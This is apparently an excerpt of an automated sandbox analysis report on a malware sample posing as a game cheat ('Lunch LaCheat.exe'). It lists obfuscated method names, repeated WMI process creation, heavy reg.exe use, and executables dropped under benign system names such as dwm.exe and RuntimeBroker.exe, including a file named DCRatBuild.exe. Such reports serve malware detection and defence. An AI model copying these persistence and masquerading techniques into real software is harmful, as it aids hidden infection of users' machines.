Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, B0A2YIMzsWk7TS3uGdI.cs High entropy of concatenated method names: 'QTZ2eYxb1w', 'MXr2aN0rRt', 'WmV2CoLnj2', 'TScQVcxhu1qXlhrMr6t', 'PjP3fgxTEVoLdOOUAtu', 'mS7e1FxokiJEbe4YJnK', 'dplGFjxutbvFpXvFTTi', 'vRoDi4xU3vHRgsJ91bH', 'wBhsrsxeOfq7uBa21LJ', 'ciuqhXxdPoS2OJgR3ju'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, yhRfLWt3k6bdGWArgmH.cs High entropy of concatenated method names: '_7zt', 'Y2d5s7UQpN', 'L1I540HfXH', 'faI5VYRTcn', 'wS15I7tZAN', 'U1c5mxNXvh', 'Hg45uEn0ui', 'YqOicPk3qIJeIYTLNQ6', 'RowPfGktZ4vKdmJ6ayU', 'rOFyxvkDgj86hX7gl20'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, eCD4fOt5DPq948iwBGO.cs High entropy of concatenated method names: 'erL6pJNwl4', 'tfI6drG2CP', 'C6N6coIPAf', 'SUI6T8omLQ', 'oLr6Kbe96U', 'MWA0wjHGk5xg7L7C3eq', 'Cic4tYHzZ5EcG8VYmr7', 'X7giRhH2Nb6hPeHOJjT', 'G7dIpfH8Om3Lwn6sjKJ', 'vTaFAWk5NyM67DkM9Ki'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, Vb95fHU00YbhYDyu0gn.cs High entropy of concatenated method names: 'qw5RjX5E4u', 'WK7RxA3kvh', 'DlyRFaKs7R', 'zaAZ6uCuOTrQQCO836R', 'dOL0plCpeVIMNhkew1d', 'BXmpOuCoUwnUe5BCqio', 'P6QUBJChv4C6xiEa0O0', 'jKMcgZCTWOkPwYQSAdq', 'pxHyKRCUvWKMttg2kcZ', 'NNfEdpCe43h4k4Xao3h'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, VMFniGxPuBqy8bufcO.cs High entropy of concatenated method names: 'kcq', 'YZ8', '_4bQ', 'G9C', 'zPLBIJI6EAx2AuarbQN', 'a8VU2NI7hlQURo19q9X', 'Sem2FAIyQ0lGs9g5Jv3', 'mNTkmRIqiiVNQEglCu2', 'VHvEa4I9VtmwOVg7hUC', 'RFU3TgI0utCXWLQGj4R'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, qlXAoh1gngc2opxxXE.cs High entropy of concatenated method names: 'g25', 'YZ8', '_23T', 'G9C', 'aylWtpi92', 'bkRHbAnMkiHllHmNCPr', 'zfe9y2nEZHlKM4NJHNc', 'ySuEJOnCRbb7HMHeWFd', 'bjiC8nnp0SmrslLefZW', 'oTUm6dnoR9vFeGY0KSB'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, ScE4clqkd8XEwfbUW0Q.cs High entropy of concatenated method names: 'OH3fmYWQbU', 'njgfuPUfCh', 'CMEfRvB0Oc', 'lYYCbQA0gq0hdyRggSO', 'jA3j8uAqlS3WG0i99jj', 'BAUOatA9ivHQqX57BbY', 'fPfRJmAAPsbnU2HAHFy', 'zpOlMpARosx03mAD4Fm', 'xatfDuAiR0j7IYdrLRh', 'IACDsBAPpipjifvZXUl'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, USnMqttFK6BlomrJdIc.cs High entropy of concatenated method names: 'P29', '_3xW', 'bOP', 'Th1', '_36d', 'GjkP7CybKT', 'XmhPgyvQWU', 'r8j', 'LS1', '_55S'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, h6vuwetSTCvG7UVGrTy.cs High entropy of concatenated method names: 'QXj5tbqNGh', 'EHN5UH0y3X', 'Niq5XVfIUT', 'pZaAH1kw9m1BCP98Ddp', 'dYDMN1kfqlvFXkd8234', 'lh7iiZkXQpwkl5pn0BU', 'gVrcfykWg6G2SRfcUtA', 'sAYATckmVN2tioX9gJ0', 'uSPpnyklCeAGqHelk9u', 'G3Zg4mkrR64KQ4AJyYl'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, r70NTtMtM1uhGa8tvNh.cs High entropy of concatenated method names: 'ba8wnj0pnM', 'dQ6wWL6GZO', 'HPBwAC7FAa', 'qqmwoRnjG3', 'TsdwE0WyU9', 'icWwjffg5Z', 'J8irNElFIn7Wn6y2175', 'U6uf2Nlg2avZgNruTKk', 'QeO9Nllj2DyE3o8HkOT', 'UMm4x9lbpKZ5oTtANUS'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, mBP0oLLioGhwXAdkrn.cs High entropy of concatenated method names: '_52U', 'YZ8', 'M5A', 'G9C', 'RD4vFCIKLIHllJerkY6', 'uvCP9wIYLrArEjhk36T', 'l3o5nHIJZ6Zu4y1Gyib', 'mo1tbvI2Zx5AqH6r5ZN', 'FIakaWI86otfJgW9sxD', 'cDlgDBIG7OAMCa9t6E0'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, KHdCRefmbkXs3K6gETN.cs High entropy of concatenated method names: 'U2ttViaejt', 'eHqtIYFZSi', 'Yf8tmR0mCh', 'dKftuZJaha', 'YNotRMtWH5', 'vAiHkRW5DW67my42vGf', 'DGMhAhWcfBjt63gg8Ji', 'iFGOBvXGAF29XqhO46h', 'BQh4G0XzrsbXQeLGmKA', 'UH7Zw5Wn3n8D3mhT9rP'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, LMjjpmqliahLUcLnGsv.cs High entropy of concatenated method names: '_589', 'YZ8', '_491', 'G9C', 'KfdqIZ0a3759TGBu5PR', 'dc2KE40SB5kdmDO36nt', 'WukPRJ0sGktsPStdt1N', 'XWbLkl0VAVrl3ZWaPF6', 'w2H7td0KNICT7stNJ3F', 'xYLhGd0YOhdnj9i3HJK'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, fttbW4MDcJoMNSH5luT.cs High entropy of concatenated method names: 'qJXJYpW99r', 'J2gJldmVh1', 'GHjJvt3wrp', 'bk1JN6UCD4', 'bODJiPq948', 'hGmGUUN6i8Q9mATGUco', 'k5v9pUN7Av8ih4vYORN', 'mv1KLuNB9ITBxXnAx9k', 'k15qJMNImxrfpVGCfQW', 'JcDtgkNyl5ay1YPElJX'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, DAsN0KqaOCtdgS3tEyf.cs High entropy of concatenated method names: 'GvP', 'YZ8', 'bp6', 'G9C', 'M6bISbqElc2gBTqnY69', 'gv7VZ3qCnc1PaSvp2Ir', 'aPJVY0qp1Ytv8ghp49E', 'hGXX9LqovAi91ujCX4d', 'YmHOsCqu74Uti3CRdZN', 'SlDBkJqhuCrggQ7uDub'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, UlZg75qsQwJiM21bO65.cs High entropy of concatenated method names: 'lHIqCRnmAO', 'vMgMF0yfJ8TikhX2JrH', 'y0HOBuymjT37Y7qUx2h', 'w22e1AyWFE8HZhM0DNL', 'ANdsv9yw6wD9muTxSB5', 'twyKcYylT8BWuQF1YcT', 'saTZbGyrug8BVIVsd20', 'P92crFyDmlOTLF4bFuE', 'LNu749yN3gnq0LspyUI', 'f28'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, B0aWXNMnlXn2BLGMp6h.cs High entropy of concatenated method names: 'sg9', 'Ulq51Ji3mp', 'AJXZLAKlpa', 'thE5H3BDVC', 'sTtO0B3ZeCiOkoYtyRi', 'fAqy4B3a2PsP4Csb2GE', 'vtMweA3SARa1hcsJZst', 'OiSpfI3dk3Lt4obXW8F', 'AJuwmF344OoGZRVvedm', 'YawJpm3sYwIUgtktTEe'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, gI07OVUv4aW9pt78401.cs High entropy of concatenated method names: 'wsB8tf822i', 'VUf8UA23TH', 'dQj8XeOEdi', 'LwO8w8sMco', 'sR58JxMG3p', 'kfR8ZR3xYr', 'fmk82qvu9R', 'riu8B4g1M9', 'kQk86mZJwj', 'RKe85rMYEe'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, ruGDE8wHCs1LugFJYDC.cs High entropy of concatenated method names: 'kB38y8dk5oW2xdKQBrP', 'G6ZbBJdgUO6CLx48d5K', 'dDPudsdxa6pJGbmnmKi', 'b0GZXwdH7ygfxCFOP1w', 'BkAGPB7unW', 'oZOOPmdb3qMR2OdZTra', 'N4YP0Cd1iuhaXhBVh26', 'NS4jk6dO3LJwCCJHcdh', 'cjeMFidvcwPeWVu3eAE', 'G4SHC9dLD6xHeQMsvhm'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, zjoE3wqcjVQABWnuZwJ.cs High entropy of concatenated method names: 'LDwqLbeMqa', 'bU33lM9CY6QbqkUuSXQ', 'edxOpB9puVMW4WRBXYU', 'u2okGP9MG0fEDvWvjeu', 'kDPEj09ExKrMrEl81QS', 'dv3GOp9o4yBpxyypgav', '_3Xh', 'YZ8', '_123', 'G9C'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, nldwCqME01ywJTeITCX.cs High entropy of concatenated method names: 'oYo', '_1Z5', 'v0e5Yer2Yh', 'gGg2tdWOIW', 'hBV53OseBt', 'cuvwY2tiF6T0xlmhlRC', 'DbBHZOtP9vQ03rGX3cr', 'zyxEwctXsbdURV0wraa', 'T257FqtW9ce8SpJEWSC', 'SFoZ3ZtwJPZTejL75Gm'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, jVQRA9qILNDR4ueVNdL.cs High entropy of concatenated method names: 'gHL', 'YZ8', 'vF9', 'G9C', 'oktDTryxsKvOiykeSyp', 'aSXGyWyHbHVuvujaXVW', 'j9DsnTykvOXD7VqlgNy', 'VsEnKxygPhd1RbnlKLC', 'f2ttHIyjk17CiWnkXlh', 'LBdBwxyFOHpWMnIyeFy'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, ykUT5HnIRnmAOVRT6X.cs High entropy of concatenated method names: '_66K', 'YZ8', 'O46', 'G9C', 'eY2MbUB0PecUyh3V2wW', 'd8pkn0BAPJITW9DDqcq', 'Tv5aE7BR4L0wAL8jA7R', 'mMPINVBiepktgJ302Pr', 'M4gHVpBP6fZUQTFsMM1', 'cPKUSUBX6ioO9PN9JUd'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, zy6GHpNEirDwbeMqaG.cs High entropy of concatenated method names: '_88Z', 'YZ8', 'ffV', 'G9C', 'YfPN9GIe92ZZpZ9hmoH', 'ADWV0RIdwoLO8FWq0Ir', 'c0DhSCI4rJqavKqnUCf', 'wHH5RqIZVucg3SkrGbq', 'pujxo0IaN1clKxhtVbC', 'XqoEwiISvg6R27NyE7H'
Source: 34.2.Lunch LaCheat.exe.39b35a8.3.raw.unpack, j8yowCfSyTNdR3Qg4Jh.cs High entropy of concatenated method names: 'z4DMLvf7yf', 'zwLMk4iAhK', 'IYjjs7PluGqUdZbLiIU', 'o2O2kGPrC5Li2fny4MT', 'onGWsrPDJhjoSEs4QKE', 'ECpQQ1PNIZyjHTTKWXl', 'skwvxXP31xojtFQeYcO', 'OUkWPoPtURsH0OCLxTV', 'SVewE2Px9vtFQksqGyF', 'jJ24xJPHrOK9SaMtxTS'

Persistence and Installation Behavior
barindex
Creates processes via WMI
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\FixTsDfhiC.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockweb\portrefNet.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Drops PE files with benign system names
Source: C:\blockweb\portrefNet.exe File created: C:\Windows\AppReadiness\dwm.exe Jump to dropped file
Uses cmd line tools excessively to alter registry or file data
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: reg.exe Jump to behavior
Drops PE files
Source: C:\blockweb\portrefNet.exe File created: C:\blockweb\RuntimeBroker.exe Jump to dropped file
Source: C:\blockweb\portrefNet.exe File created: C:\Windows\Performance\WinSAT\DataStore\ukzoUeHPfeDwGdTDRNL.exe Jump to dropped file
Source: C:\blockweb\portrefNet.exe File created: C:\Windows\AppReadiness\dwm.exe Jump to dropped file
Source: C:\blockweb\portrefNet.exe File created: C:\Recovery\ukzoUeHPfeDwGdTDRNL.exe Jump to dropped file
Source: C:\blockweb\portrefNet.exe File created: C:\blockweb\ukzoUeHPfeDwGdTDRNL.exe Jump to dropped file
Source: C:\blockweb\portrefNet.exe File created: C:\Users\Default\ApplicationFrameHost.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe File created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Jump to dropped file
Source: C:\blockweb\portrefNet.exe File created: C:\Program Files\Windows Portable Devices\ukzoUeHPfeDwGdTDRNL.exe Jump to dropped file
Source: C:\blockweb\portrefNet.exe File created: C:\Windows\Setup\State\ukzoUeHPfeDwGdTDRNL.exe Jump to dropped file
